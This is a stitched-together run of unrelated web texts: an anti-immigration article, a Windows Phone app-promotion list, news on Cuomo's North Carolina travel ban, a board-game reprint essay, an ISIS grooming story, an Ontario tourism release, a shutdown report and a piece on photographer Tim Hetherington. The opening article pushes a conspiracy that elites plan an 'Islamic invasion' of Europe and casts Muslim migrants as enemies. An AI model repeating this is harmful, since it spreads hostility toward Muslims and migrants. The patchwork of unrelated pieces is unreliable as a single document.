[S]ubordinates the human rights of asylum-seekers and migrants to the security of borders, threatens to divide and destroy the EU by renouncing the values on which it was built and violating the laws that are supposed to govern it.
Fighting Homogeneity
The plan to flood Europe with Muslims is not new. Back in 2012, Irish businessman and Bilderberg Group attendee Peter Sutherland told the House of Lords that the leadership of the European Union needs to “do its best to undermine” the “homogeneity” of its member states.
Why is it necessary to undermine the homogeneity of European nations? Sutherland would claim that diversity somehow makes organizations and countries stronger. To prove this, advocates of diversity usually display polls of “diversity officers” from different companies who, not surprisingly, say that diversity does make organizations more effective.
But there is no actual proof that diversity, which in this context means introducing Muslims from the Middle East and Africa into the white nations of Europe, makes organizations more efficient. If it did, you would hear nations like China, Israel, Japan, and South Korea lining up to get their share of Islamic migrants. But those nations seem to be perfectly happy keeping their nations homogeneous.
The idea of resettling millions of Muslim migrants is deeply unpopular with the populations of the EU countries, but this is not going to stop the bureaucrats in Brussels from proceeding with their plans. Dimitris Avramopoulos, the EU Commissioner for Migration and Home Affairs, recently said that the EU’s leaders “do not care about the political cost” because they are not elected.
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Pope Francis’ positions undermine Christianity in Europe
The Catholic Church has historically been a bulwark in preserving the Christian culture of Europe. It was the Catholic faith that inspired the Crusades, the Reconquista, and the Battles of Lepanto and Vienna. Even as modern Europeans have abandoned their faith in Christ in exchange for a comfortable socialism, the Catholic Church has not stopped trying to rouse them from their slumber.
But Pope Francis’ position on the migrant crisis threatens to further weaken Europe’s already wobbly spiritual foundation rather than strengthen it. Francis issued a broad appeal to every parish and monastery to take in at least one “refugee” family.
Francis’ reason for doing this is ostensibly obedience to the Gospel:
Facing the tragedy of tens of thousands of refugees—fleeing death by war and famine, and journeying towards the hope of life—the Gospel calls, asking of us to be close to the smallest and forsaken. To give them a concrete hope.
The idea that we should not oppress the alien among us is certainly part of the teaching of the Christian faith. The Bible states: “You shall not oppress a resident alien; you know the heart of an alien, for you were aliens in the land of Egypt.” But this doesn’t mean that Christians are obligated to accept what amounts to an invasion by Muslim migrants.
The actual Catholic teaching on immigration, provided by Thomas Aquinas, is much more complex than Pope Francis’ public statements would lead us to believe. Like the Jews in the Old Testament, Christians are to recognize that people from certain nations are more likely to be a good fit as immigrants. However, immigrants from nations who have proven to enemies of Christians should not be allowed to immigrate, but to be “held as foes in perpetuity.” (cf. Summa Theologica I-II, Q. 105, Art. 3).
Why do the global elites want an Islamic invasion of Europe?
I suspect that the biggest reason that the global elites want to flood Europe with Islamic immigrants is that they place no value on culture—they view human beings purely as economic units. If Europeans are not reproducing at the rate necessary to sustain the current welfare state, then importing young, vibrant Muslim men who do want to reproduce will solve the problem.
Other people, like Pope Francis, are likely driven by Christian teachings of helping one’s neighbor. However, these people are naively ignoring other considerations such as the continued safety and existence of European peoples.
Finally, other elites may view the destruction of European culture as a punishment for Europe’s past “sins” such as its cultural hegemony. These individuals are fueled by irrational self-hatred.
Conclusion
During the Battle of Vienna, the grand vizier of the invading Ottoman Turks sent an emissary to deliver a summons of surrender to the city. The summons read:
Accept Islam and live in peace under the Sultan! Or deliver up the fortress and live in peace under the Sultan as Christians; and if any man prefer, let him depart peaceably, taking his goods with him. But if you resist the Will of Allah, then death or spoliation or slavery shall be the fate of you all! Fight and you die! Surrender and you live!
The military governor of Vienna, Count Ernst Rüdiger von Starhemberg, told the crowd of people gathered near the town’s Cathedral:
The infidels promise us that if we surrender, all Christians will be allowed to remain Christian. But, ask the Greeks what that promise means. Ask the Serbs. Ask the Albanians. How do the people of Vienna reply to that invitation?
The crowd immediately responded with a shout “No!”
May the men of Europe find the same courage as their ancestors and resist the demands of the global elite to sacrifice their nations.
If you like this article and are concerned about the future of the Western world, check out Roosh's book Free Speech Isn't Free. It gives an inside look to how the globalist establishment is attempting to marginalize masculine men with a leftist agenda that promotes censorship, feminism, and sterility. It also shares key knowledge and tools that you can use to defend yourself against social justice attacks. Click here to learn more about the book. Your support will help maintain our operation.
If you have an advertising budget you can spread the word by pouring money into marketing. But most of the indie developers have no (or very small) advertising budgets and even when you have some money, there are plenty of ways to get some exposure for free.
Here’s a list of 25 techniques I was able to think of (or notice others use) to promote WP7 apps:
Make a great app that solves a real problem or brings user experience to a new level for a problem that has been solved before. Or just make a great and addictive game.
Obviously the better and more unique your app is, the easier is to spread the word about it. And if your app is just a lousy exercise with no particular use or fun factor, there’s hardly a technique to get it anywhere. So obviously it all starts with making an app you believe in. Ask developers (and soon average users) to beta-test your app.
Not only this will help polish and refine your app, but you are recruiting first members of your “street team” this way. You can find people willing to help you on Twitter or App Hub forums and probably some other places. If beta-testers like your app, they are quite likely to help you spread the word around once your app is released. For now you can ask developers with unlocked phones to sideload your app. But when Mango hits the streets you will be able to publish your beta through the official channels. Make an attractive Tile.
We have already established that you have a good app. So this statement doesn’t apply to you. However your Tile is the first thing people see when they browse or search the marketplace. Especially when yours isn’t the only app addressing the same problem a good or bad Tile could make a huge difference. So make yours stand out. And not in a bad way. Start with a free app
Your app could be your best marketing tool. It’s no secret that way more people download free apps than paid apps. Even with free and fully functional trial you are looking at a fraction of downloads you can get with an absolutely free app. You can make a premium version later and charge for it, or you can monetize your app with advertising. And hopefully in-app purchases will come soon enough. You can even go from free to paid with the same app later, like Chicks’n’Vixens did. And it was the #1 paid app for a couple of weeks because of this trick. This technique might be slightly over you “gray area” line, so it’s up to you to decide. But I would argue it isn’t wise to limit your reach by charging 99 cents at this stage. (unless your app has an expiration date) Make a video demo of your app
It’s not the first thing you think about, but it’s way easier for people to watch a YouTube demo of your app than to download and try it. So, many will watch your video even if they wouldn’t download and install it based on your (or someone else’s) description. And you get an extra chance to capture their attention in the video. Join AdDuplex
I’ve created AdDuplex after witnessing numerous developer frustrations with low-to-no visibility they were getting for their apps. AdDuplex helps developers promote each other’s apps for free. There’s a catch that you have to have some visibility to exchange for extra visibility, but hopefully this list gives you some ideas and results. Tweet about your app
Tweet about the initial release of your app. Tweet about every update. Tweet about it in-between updates. Decorate your tweets with #wp7 hashtag. Even if you don’t have a lot of followers there are lots of people (and some important and influential people) monitoring the #wp7 tag. Manage to get attention of some of them and it can go a long way from there. Notify your friends about your app
Let your Facebook friends, tweeps, real-life friends and family know about your app. Even if they don’t own a Windows Phone or have nothing to do with technology. You never know who they’ll be talking to tomorrow or a month from now. And there’s a really good chance they’ll mention your app when appropriate. They are your real friends and family after all and they love you, right? Make a Facebook page for your app
Making a Facebook page is an easy way to get free promotion from your Facebook friends and get onto feeds of other Facebook users. Create a dedicated Twitter account for your app
Same as with Facebook but for the twitterverse. Join AdDuplex
Did you know that if you join AdDuplex by October 1, 2011 you have a really good chance to win a brand new next generation Windows Phone running Mango. Could that be a Nokia Windows Phone? Quite possibly. And this is in addition to free promotion you are going to get through AdDuplex. Make a website for your app
Or a dedicated section on your website. This would be a place you can direct people to. Showcase the cool features and experiences your app provides. Link or embed all the related activities (Twitter, Facebook, YouTube, etc.) Facilitate the feedback loop
The more positive ratings your app has in the Marketplace the more likely users will choose it over competition. So, encourage users of your app to rate it. That said, if users don’t like something about your app make sure it’s easier for them to provide you direct feedback than rate it poorly. Tip Windows Phone blogs
Tip the major (and smaller) Windows Phone blogs about your app. WPCentral, WMPowerUser, 1800PocketPC are just a few of the better known blogs and there are a lot more. Make sure you include a link to your video demo (you made it, right?) and a concise but well written description of your app. Some of the blogs may even post your tip as is (or with only some minor modifications), so pay attention to this step. It’s one of the best ways to boost your exposure. Ask your tweeps to tweet (or retweet) about your app
I’ve been approached multiple times by my Twitter friends to help spread the word about their apps. Luckily I have very good and smart tweeps, so I never had to tweet about apps I don’t actually like. So I guess it would be awkward if someone asked me to promote an app that I think sucks, but I didn’t want to offend my friend. But since we’ve established that you made a great app in step 0, there’s nothing to be afraid off. Try to get on podcasts
Windows Phone Dev Podcast has a form you can fill if you want to be on the show. They’ve gotten a lot more popular since their launch (and for a good reason) so I assume it’s harder to get on the show, than it was when they’ve just started, but it’s still doable (at least the form is still there). Other podcasts don’t have a form like that, but I bet you can get on some of them if you have something to say and try hard enough (don’t try too hard though). Here are a few podcasts that are Windows Phone related (or at least had some WP7 related episodes) – Windows Phone Radio, Jesse Liberty’s Yet Another Podcast, DotNetRocks, Hanselminutes, Herding Code. Add social network integration to your app
Let users of your app tweet, post to Facebook, etc. directly from the app. Add your @yourAppsTwitterAccount to the tweets. Pictures Lab does it, SurfCube does it and lots of games do it. People want to brag about their achievements on Twitter or Facebook. Help them and help yourself. Try to get featured in the Marketplace
All it takes is making a really great app and getting noticed by the team. Easy, right? Seriously though, make sure your deliverables (description, screenshots, tile and background image) are top notch and if you take steps in this list seriously there’s a good chance they’ll notice. Plus keep an eye on special opportunities like “Spring Cleaning”. The effect of being featured is quite substantial. Mention your app in your social media (and other) profiles
Mention and link to your app from your profiles on social networks and other communities you participate in. People often check profiles of the people they are communicating with and there’s a chance to grab their attention. Participate in relevant communities
I guess this goes without saying. Most likely you are already participating in some community related to the problem your app solves. But don’t forget to mention your app where it’s relevant. A word spreads fast in targeted communities. And don’t forget Windows Phone targeted communities like App Hub forums, XDA developers and everythingwm to name a few. Join AdDuplex
In case you’ve published your app through Yalla Apps you are entitled to 20,000 free ad impressions campaign on AdDuplex network. How’s this for a free promo? Temporarily change your avatar on social networks to your app’s Tile
Your friends and followers will notice and be interested to learn what’s that about. Help other developers promote their apps via social media.
Tweet, retweet and otherwise help fellow developers promote their apps. They will be more than happy to return the favor. Bring your app to the attention of key people at Microsoft and/or WP7 community.
Wordament is a great game. That said I first heard about it from Brandon Watson on Windows Phone Radio (if I’m not mistaken). Recently Joe Belfiore has tweeted about it. That’s one of the nicest free promotions you can get. But you have to make an effort to bring your app to their attention. Do not spam these nice people, but it’s pretty reasonable to mention your app to them when it’s relevant. If you go to some bigger WP7 related event be prepared and don’t be shy to approach community leaders and demo your app to them. They won’t bite… I guess. Add “Easter eggs” to your app
Add some nice undocumented features or other delighters to your app. People are prone to wanting to share their discoveries with their friends and word of mouth is the best marketing vehicle. Join AdDuplex
Did I mention you should join AdDuplex?
Similar order to Cuomo’s in 2015 responding to Indiana’s “Religious Freedom” Bill
In a statement released Monday from his office, New York State Governor Andrew M. Cuomo signed an executive order banning all non-essential state travel to North Carolina, a strong response in protest to discriminatory legislation signed last Wednesday outlawing LGBT protections.
“In New York, we believe that all people – regardless of their gender identity or sexual orientation – deserve the same rights and protections under the law,” said Governor Cuomo. “From Stonewall to marriage equality, our state has been a beacon of hope and equality for the LGBT community, and we will not stand idly by as misguided legislation replicates the discrimination of the past. As long as there is a law in North Carolina that creates the ground for discrimination against LGBT people, I am barring non-essential state travel to that state.”
Governor Cuomo signed a similar order in 2015 banning non-essential travel to the state of Indiana after state lawmakers passed a controversial religious freedom measure failing to prohibit discrimination against LGBT citizens. The measure was later amended to prevent it from being used to discriminate against LGBT citizens, in part due to the response nationwide from prominent elected officials. The travel ban was lifted following these adjustments.
Today I signed an executive order banning all non-essential state travel to North Carolina: https://t.co/EYhGDup4Dy pic.twitter.com/mU6hr7QDMn — Andrew Cuomo (@NYGovCuomo) March 28, 2016
The Governor’s executive order can be viewed here. The full text can be found below:
PROHIBITING STATE FUNDED OR STATE SPONSORED TRAVEL TO NORTH CAROLINA
WHEREAS, New York State is a national leader in protecting the civil rights and liberties of all of its citizens;
WHEREAS, New York State in 1945 enacted the first state law against discrimination in the nation, which now prohibits discrimination on many bases including age, race, creed, color, national origin, sexual orientation, military status, sex, gender identity, marital status, and disability;
WHEREAS, ensuring that persons are free from discrimination based on sexual orientation and gender identity is a compelling state sanctioned government interest;
WHEREAS, protecting New York State from inadvertently financing discrimination against protected classes, including sexual orientation and gender identity, is a compelling state sanctioned government interest;
WHEREAS, the state of North Carolina has enacted legislation to bar transgender persons from using bathrooms and changing facilities corresponding to such persons’ gender identities, has excluded sexual orientation and gender identity from that state’s anti-discrimination protections, and has prohibited units of local government from extending such protections to lesbian, gay, bi-sexual, and transgender (LGBT) citizens;
WHEREAS, in a free society the equal rights of all citizens, including LGBT citizens, must be protected and cherished;
WHEREAS, in a free society the will of the many cannot be the basis for discrimination against the few;
WHEREAS, it is the policy of the state of New York to promote fairness, protect the welfare of the citizens of the state of New York, and combat discrimination;
NOW THEREFORE, I ANDREW M. CUOMO, Governor of the State of New York, by virtue of the power and authority vested in me by my office, the New York State Constitution, and the Statutes of the state of New York, do hereby ORDER AND DIRECT:
All agencies, departments, boards, authorities and commissions to review all requests for state funded or state sponsored travel to the state of North Carolina so long as there is law in effect there that creates the grounds for discrimination against LGBT citizens; and
To bar any such publicly funded or publicly sponsored travel to such location, unless such travel is necessary for the enforcement of New York State law, to meet prior contractual obligations, or for the protection of public health, welfare, and safety.
As I’ve mentioned before, we’ve been living in an age of reprints. Dozens of games from the 1970s to the 1990s have been picked up by current publishers and remade with new components, artwork, and in some cases rules. But I wonder how many of those reprints have actually been successful. Certainly games like Cosmic Encounter, Talisman, and Netrunner have found new life in their current incarnations, to say nothing of heavily redesigned editions like Arkham Horror. But in the gold rush to snatch up old classics, I wonder if a lot of us overestimated exactly how popular these reprints would actually be. In other words, I’m wondering if the age of reprints is behind us.
I should state up front that I’m not in any position to measure game sales. I’m not some kind of industry insider. By necessity, this piece will contain a ton of speculation. But being a fan of old designs myself (my top three games are all from the 1980s or earlier), I do keenly follow the response to reprints of old games, and it feels like the movement is starting to sputter. It’s not necessarily that fewer reprints are being released. Indeed, I suspect we’re seeing more than ever before. It’s that the ones that get released are greeted with a shrug from an increasingly saturated market, and in a couple cases from the publishers who release them. And perhaps more disturbingly, more and more titles are quietly being dropped from reprint schedules in favor of bigger money-makers.
On that first point, reprints don’t exist as history textbooks. They are released to compete with modern designs, and it must be said that countless reprints have overestimated the demand for their product based solely on the cries of a dedicated fanbase. Those who can remember back to 2008 may remember the fanfare surrounding the reprint of Titan. I enjoy Titan, at least in the play-by-forum setting, but it’s totally antithetical to the kinds of games being designed today. It takes hours to play, requires repeated plays to master it, and features brutal player elimination. Valley Games rightly left those things in there, but those are all big no-nos in today’s market. It’s no surprise that copies are not hard to find, even as Valley Games has found itself embroiled in legal battles. Or look at the recent FFG reprint of Nexus Ops, one of the best games of the last ten years. After just a year or so on the market, it was in the bargain bin for the FFG Holiday Sale. I can only guess as to why, but my hunch is that the game’s biggest fans already had their Avalon Hill copies, since that game was plentiful in bargain bins before it became a collectors’ item.
Of course there were many who had misgivings about new artwork Fantasy Flight used for Nexus Ops, and that’s probably a big deterrent for old fans buying reprints. Almost every reprint changes something, but Fantasy Flight in particular has developed something of a reputation for tinkering with old designs, although they haven’t done it consistently. Certainly their two most successful board game reprints, Cosmic Encounter and Talisman, altered the original ruleset very little. It’s my understanding that those games have both had strong advocates within FFG who took on the design work for the expansions, Kevin Wilson for Cosmic Encounter and John Goodenough for Talisman. I imagine that’s helped, though with the departure of Kevin Wilson it remains to be seen exactly what will happen with Cosmic Encounter now that Jay Little is at the reins. His first installment, the Cosmic Storm expansion, has gotten some mixed response from fans on the BGG forums.
But it’s not just the ambivalent responses to new reprints. It’s the fact that a lot of old favorites are beginning to vanish as well. The terrific Fury of Dracula, itself a redesign of the Games Workshop classic, is gone without any plans for a reprint. I doubt it has anything to do with a falling out between GW and FFG. It probably just isn’t worth their trouble to do it. And of course, Rio Grande Games and Hans im Gluck parted ways a year or so ago. The result was a lot of genuine classics, like Carcassonne and El Grande, that no longer had an American publisher. Z-Man Games picked up the distribution deal and reprinted Carcassonne, but I find it frankly astonishing that Rio Grande would walk away from one of the most popular crossover hits the hobby has seen.
Why would they do this? One rumor I’ve heard is that they simply felt they were making enough with Dominion and its expansions, and that they no longer needed Hans im Gluck’s business. That wouldn’t surprise me, because I suspect that something similar has been going on at Fantasy Flight with their Living Card Game line. In fact, the biggest reprint of any kind over the last five years has probably been Netrunner, which FFG released in their Android universe. It has the unholy union of being a well-regarded classic, and an almost endless well of content. As larger publishers get more and more people on those treadmills, there are a lot of resources that can be committed to designing more content for those games, rather than just picking up little games that may not be as successful.
I certainly don’t blame them. The profit margins in the board game business aren’t huge, and publishers aren’t out to act as archives for classic games. And one interesting development over the last couple years has kept reprints alive: Kickstarter. While the contributions of Kickstarter are always up to debate, one real positive is that they allow reprints of obscure gems. Just this past summer, Jolly Roger Games Kickstarted a new version of Kremlin, and it looks to be on time for delivery in the next couple of months. It was an affordable, well-run campaign for a game that would have a very limited appeal in today’s market. And of course, Kickstarter is responsible for bringing us Ogre in all of its ostentatious glory. The Designer Edition of Ogre isn’t really meant as an inroad to new fans, so it’s a different situation. But again, that’s something that most publishers would never mess with.
And there will always be smaller publishers who can grab lingering rights to old games and release them in affordable packages. The reprint business might be winding down, but it’s also possible that it’s moved away from the big publishers and into the realm of independents and crowd-funding. And as always, board games move on. There are plenty of new games to get excited about. Just be sure that you grab that copy of Clash of Cultures before it vanishes. Because if there’s one certainty, it’s that every game eventually goes out of print.
AhlulBayt News Agency - The parents of Aqsa Mahmood today reveal how their daughter was brainwashed and stolen from them by the self-proclaimed Islamic State (ISIS).
Muzaffar and Khalida Mahmood told of their horror after discovering the teenager was being groomed for jihad by fanatic Adeel Ulhaq.
They spoke of their despair after she secretly left Scotland to travel to Syria and their dismay when, after immediately calling the police, official delays lost any chance of intercepting her.
Her mum Khalida says the night her daughter left was the worst of her life.
She said: “I never slept. I never died but I felt as though I was dying. My children, my in-laws, my husband, every one of us, cried through the night.
“My baby had gone and nobody was doing anything to stop it.”
The couple told how they discovered Ulhaq, 21, had been secretly grooming their daughter
for jihad and revealed a dramatic showdown with the radical Islamist and his family after Aqsa ran away from home to marry him.
Muzaffar, 52, and Khalida, 45, spoke out after Ulhaq was jailed for six years for recruiting Aseel Multhana to IS and helping him to travel to Syria.
His trial with two other men at the Old Bailey heard he had also radicalised Mahmood while still a teenage schoolgirl and that the pair had planned to marry.
Her parents described a devastating sequence of events which started when Khalida found a suspicious text in May 2013 and ended six months later when their daughter suddenly fled to Aleppo via Turkey.
And, in their first newspaper interview, the couple voiced fears they will never see their daughter
again. Khalida described how a mundane scene in the family home in Glasgow was interrupted when she discovered a disturbing text message on her daughter’s phone.
She said: “I read the text and was shocked as I didn’t know who this boy was. I told my husband as I wondered why he was contacting her.
“My husband then spoke to him on the phone and told him to leave her alone.”
But they now believe the fanatic secretly remained in touch with their daughter, then in her late teens.
Muzaffar told how matters came to a head later that summer leading to confrontation between the two families in an English mosque.
He said: “We had gone to a wedding in Manchester in 2013 but Aqsa stayed at home with her grandparents. My mum phoned and said Aqsa had left home to go and meet this boy’s family. We were in shock as we were on our way back to Glasgow.
“We got the message in a service station near Carlisle and turned round to drive back down south. She had found a note left by Aqsa saying she had left. My mother was in tears.
“I phoned Aqsa but she put the phone down after saying she was safe. My son phoned Adeel because I was too angry to speak to him. He refused to give his address.
“Then his uncle took over the phone and said to meet us in the Central Mosque in Huddersfield.
“When we arrived, Adeel, his mum, dad and uncle and his mother’s sister were there. Aqsa came with them. I didn’t understand why they wanted us to meet in the mosque but now I realise they were desperate for us not to call the police. I wish I had.
“Adeel was only 19 but, with hindsight, we believe he had radicalised her already. It was always his intention to get her over to Syria.”
To their horror, the parents learned Aqsa wanted to marry Adeel.
Muzaffar said: “It was heart-breaking as it was out of the blue. She’d never met him before that day.
“Like any parent, I said, ‘Why would you get married when you don’t know each other? You don’t even have jobs. You have studies to complete – then you can make such life decisions’. She agreed to come home.”
Evidence heard at the Old Bailey trial of Ulhaq and friends Forhad Rahman, 21, and 19-year-old Kristen Brekke revealed that he too had intended to go ahead with the wedding. He only gave up on the idea after Aqsa fled.
Khalida said: “After she came back, Aqsa would cry and say she had made a mistake. But I never had any suspicion she was going to go from this to Syria.
“Then I said to all my children, ‘You will leave your phones in my room after 8pm and get them in the morning.’
“I would check her phone but it gave me no cause for concern. Now I know there were all sorts of ways of accessing social media that I had no clue about.”
Both parents tried to re-establish a normal family life for Mahmood, her brother and two sisters.
Until that point, she had been an academic success during five terms at Craigholme private school before going on to complete a sixth year at Shawlands Academy.
She had begun a course at Glasgow Caledonian University but was beginning to become increasingly
interested in politics.
Khalida said: “She started to talk about Syria. She became very emotional and would cry when she watched the news. I remember after a chemical attack on the news, she burst into tears.
“She became more religiously dressed. I was surprised because it wasn’t a tradition in our family. She wanted to wear a niqab but I said it was a step too far.
“She became more religious but I didn’t think that meant IS. For me, as the mother of a young daughter, it was much better that she was interested in religion rather than partying or boys.
“I now wonder whether this was all her preparation for Syria.”
Then, one day in November 2013, Mahmood did not come home and her parents began to fear the worst.
Muzaffar said: “My wife and I had dropped her at the underground thinking she going to university.
“It was only after five or six o’clock when she hadn’t come home that I got worried. She wasn’t picking up the phone and we started to panic.
“As the night wore on, I got my sister to phone Adeel’s home and spoke to his mother. She told us that Aqsa no longer wanted to stay with us.”
In desperation, Khalida used a number she had for a university friend.
She said: “I told her that unless she told me where my daughter was, I would call the police. After that, she sent me a text to say she had left for Syria.
“My niece called the police and reported her missing but they only sent two uniformed officers around.
“I showed them the texts and, while they were in the house, checks were carried out and they confirmed she had left the country.
“I’m still surprised that, while there was time to stop her in Turkey, it wasn’t taken seriously enough.
“I kept asking them to stop. I said, ‘Bring her home, jail her, do what you have to – at least she will be safe.’
“I still remember their words, ‘She’s over 18, she can go anywhere, we can’t stop her.’ I will spend the rest of my life wishing they had tried. They left after an hour. That night was the worst night of my life.
“Then, the next day at 10am, we were flooded with plain clothes officers. They spent hours taking statements.”
Today, the family have all but given up on seeing Aqsa again. Since fleeing for Syria, they have learned from press reports that she married an IS fighter and has a senior role in the all-female al-Khansa police force in Raqqa. The feared brigade were established by IS to enforce Sharia law.
The family have been horrified by propaganda she posted on her now-deleted Twitter account,
including a poem praising last year’s Tunisian beach massacre in which 38 people were killed.
Ulhaq, Brekke and Rahman were found guilty of the preparation of terrorist acts while Ulhaq was also convicted of a separate charge of funding terrorism.
During the trial, Ulhaq had said he had considered going to Syria to bring Mahmood home and called her an “ex-girlfriend”.
But Muzaffar said: “Adeel is a liar who tried to use my daughter’s name to save himself. He knew she was married in Syria so it was total lies that he was going out to save her.
“Of course we were deeply ashamed but my family were also destroyed by what Aqsa had done.
“There are others like Adeel out there. He got into her brain and many others who we have not heard about.”
Khalida added: “I thought that he should have got a life sentence for what he did to my family and others.
“He’ll be out in a couple of years and his mother will be able to hold him but I will never see my daughter again.”
In less than one month, Ontario's Celebration Zone will welcome visitors to experience the 'Best of Ontario', all in one place, for 38 fun-filled days during the TORONTO 2015 Pan Am/Parapan Am Games. Taking place on the waterfront at Toronto's Harbourfront Centre, visitors can experience an EPIC celebration daily from July 10 to August 16, 10 a.m. to 10 p.m.
An amazing part of Ontario's Celebration Zone will be the daily FREE entertainment. Some of Ontario's most exciting live music artists will take to the stage for a series of nightly outdoor concerts. The lineup will showcase Ontario as a global live music destination, featuring both up-and-coming artists and homegrown superstars including:
Ain't No Love, Big Sugar, Bruce Cockburn, Cowboy Junkies, Digging Roots, Divine Brown, Down With Webster, Elliott Brood, Fefe Dobson, Grand Analog, Great Lake Swimmers, Hannah Georgas, Hollerado, Jarvis Church, Jesse Cook, JJ and The Pillars, k-os, Le Groupe Swing, Lindi Ortega, Rebel Coast, Ron Sexsmith, The Glorious Sons, The Strumbellas, Tim Hicks and so many more!
In addition to nightly concerts, Ontario's Celebration Zone will offer entertainment throughout the day, including additional live music, theatre, dance, Aboriginal, Francophone and ethno-cultural community showcases, book readings, art installations and comedy performances to entertain audiences of all ages and interests.
Adventure seekers can view Toronto's iconic skyline from a 400-foot zipline, scale a 40-foot rock climbing wall or try the adrenaline jump. Sports enthusiasts can start their day with a morning workout, try their hand at virtual sports like soccer and archery, or watch fly-boarding demonstrations on the weekends. And fans can gather and share the hype for their favourite team or player as they watch the Pan Am and Parapan Am Games live on the big screen.
Mouth-watering culinary features, including celebrity chef cooking demonstrations, a weekly Ontario Fresh Market, and tastings and pairings will showcase Ontario's regional cuisines and locally-grown products. Also on tap at Ontario's Celebration Zone, which includes a beautiful waterfront patio, will be a rotating selection of Ontario's award-winning craft beers, ciders and wines.
For families seeking kid-friendly activities, Ontario's Celebration Zone has a jam-packed schedule of circus acrobats and buskers, children's theatre and hands-on science adventures. Kids of all ages can try out the coolest toys from Ontario's digital media sector or take part in multi-player gaming tournaments featuring Ontario's latest video games.
Services at Ontario's Celebration Zone will be barrier-free, and include accessible and inclusive programming so that visitors and performers of all abilities can participate.
Visit Ontario's Celebration Zone to be inspired to plan your next Ontario adventure. Almost all activities are free to the public and take place at Toronto's Harbourfront Centre in an architecturally-striking temporary structure, the Harbourfront Centre theatre or on the WestJet Stage.
For more information about Ontario's Celebration Zone and for programming updates, please visit: www.ontariotravel.net and follow on twitter @EpicIsON.
QUOTES
"‎Ontario's Celebration Zone will provide an amazing array of activities and entertainment that will showcase our province as one of the best places to visit in the world. I encourage everyone to come out and enjoy all it has to offer as we celebrate sport, culture and our great province."
- Honourable Michael Coteau, Minister Responsible for the Pan/Parapan American Games
"The Ontario Tourism Marketing Partnership Corporation is pleased to be presenting Ontario's Celebration Zone. Working with our tourism partners from across the province, the Best of Ontario will be offered for 38 consecutive days during the Games. The daily free concerts alone will be sure to offer an experience of why Ontario is an astounding global tourism destination."
- Ronald Holgerson, President and CEO, Ontario Tourism Marketing Partnership Corporation
QUICK FACTS
-- The Games are expected to attract as many as a quarter million visitors who will see great shows and attractions, dine in restaurants and shop in local stores. -- Tourism is an important economic driver. 2012 figures indicate that tourism supported over 359,400 jobs and generated $28 billion for Ontario's economy. -- Ontario's Celebration Zone at Harbourfront Centre is presented by the Ontario Tourism Marketing Partnership Corporation (OTMPC), an agency of the Government of Ontario with a vision to position Ontario as a preferred global destination.
LEARN MORE
-- Visit www.ontariotravel.net for more information about Ontario's Celebration Zone. -- For a listing of the 38 nightly concerts, click here. -- Follow on twitter @EpicIsON for programming updates. -- Learn more about OTMPC, its programs and partnership opportunities at www.tourismpartners.com. -- Discover more about Ontario activities and destinations at www.ontariotravel.net.
If you do not wish to receive electronic messages regarding OTMPC news, please e-mail otmpc.news@ontario.ca indicating "unsubscribe".
SOURCE Ontario Tourism Marketing Partnership Corporation
Image with caption: "Ontario's Celebration Zone (CNW Group/Ontario Tourism Marketing Partnership Corporation)". Image available at: http://photos.newswire.ca/images/download/20150616_C7943_PHOTO_EN_18131.jpg
To view this news release in HTML formatting, please use the following URL: http://www.newswire.ca/en/releases/archive/June2015/16/c7943.html
SOURCE: Ontario Tourism Marketing Partnership Corporation
Lydia McCourt, Corporate Communications Manager, OTMPC, 416-314-6590, lydia.mccourt@ontario.ca, 10 Dundas Street East, Suite 900, Toronto, Ontario M7A 2A1
At a longstanding lunch of House conservatives sponsored by the Heritage Foundation, hard-line Republican lawmakers largely rallied around Speaker John A. Boehner, blaming their more moderate colleagues who they said had not had the backbone to stand strong in the fight to defund or delay President Obama’s signature health care law.
“I’ve actually been really proud of Speaker Boehner the last two and half weeks,” said Representative Raul Labrador, Republican of Idaho, one of a small group of members who earlier this year did not vote to re-elect Mr. Boehner as speaker. “I’m more upset with my Republican conference, to be honest with you. It’s been Republicans here who apparently always want to fight — but they want to fight the next fight — that have given Speaker Boehner the inability to be successful in this fight.”
He added: “So if anybody should be kicked out, it’s probably those Republicans — and not Speaker Boehner — who are unwilling to keep the promises they made to American people.”
Representative Tim Huelskamp, Republican of Kansas, called his colleagues who were eager to accept a Senate compromise the “surrender caucus” who just “whine and whine.”
“It’s pretty hard when he has a circle of 20 people that step up every day and say, ‘Can we surrender today, Mr. Speaker? Can we just go away? Can we make it easy?’” said Mr. Huelskamp, who also did not support Mr. Boehner for speaker earlier this year. “I would say the surrender caucus is the whiner caucus, and all they do is whine about the battle, as if they thought being elected to Washington was going to be an easy job.”
The lawmakers added that Mr. Boehner, of Ohio, had to scrap his last-ditch effort Tuesday to put forth a plan of his own when his conference found itself divided among three conflicting factions: moderate Republicans who were simply eager to reopen the government; those who opposed a provision that would have made members of Congress, White House officials and their staffs ineligible for government contributions to their health insurance on the new exchanges; and conservatives who felt the proposal did not go far enough in dismantling the health care law.
Conservatives in the House also remained skeptical that they would gain the upper hand in the near future. Mr. Labrador said that with the president still unwilling to negotiate in what he said was good faith, he thought it was unlikely that Republicans would extract many concessions in any upcoming conference over the budget between the House and the Senate.
And, said Representative Thomas Massie, Republican of Kentucky: “I’m going to commit candor here. I think we have less leverage on the next C.R. and on the next debt limit than we did right now,” he said, referring in part to a stopgap spending bill known as a continuing resolution.
But while they blamed their colleagues, as well as Senate Democrats and Mr. Obama, House conservatives also shouldered some of the blame. Representative Ron DeSantis, Republican of Florida, said that their most compelling message — that the president’s health care law was not ready, and should at least be delayed for individuals — was squandered during their conference’s early push to defund the entire law.
“We didn’t really articulate that well,” he said. “It kind of got lost in the shuffle of the initial defund push.”
So, wondered one reporter at the lunch, would any of the conservatives be supporting the Senate’s plan?
The question prompted audible laughter.
From surprisingly tender portraits of sleeping soldiers to officers practising golf on the front line, Tim Hetherington's photography captured moments of intimacy and absurdity in war.
His talent as a photojournalist was already evident back when I worked with him in 1998 at the Big Issue magazine in London. We collaborated on a story about homeless veterans of the first Gulf War and he soon demonstrated his rare gift for putting people who had endured great hardship and distress at ease.
Hetherington's interest in the human impact of combat was a feature of his career, which was cut short in in 2011 when he was killed in a mortar attack in Misrata, Libya, aged 40. He had established his reputation covering the human rights repercussions of civil war in West Africa and his images once provoked former Liberian president Charles Taylor to dispatch two hit squads to assassinate him.
Specialist Tad Donoho screams with pain after being administered a 'pink belly' for his birthday. Each member of the platoon strikes his stomach until it begins to bruise, hence the name 'pink belly'. Photograph: Tim Hetherington/ Tim Hetherington/Magnum Photos
But he was not a traditional war photographer or documentary film-maker. He called himself an "image-maker", reflecting how he ranged across the visual media, including video to mobile phone downloads.
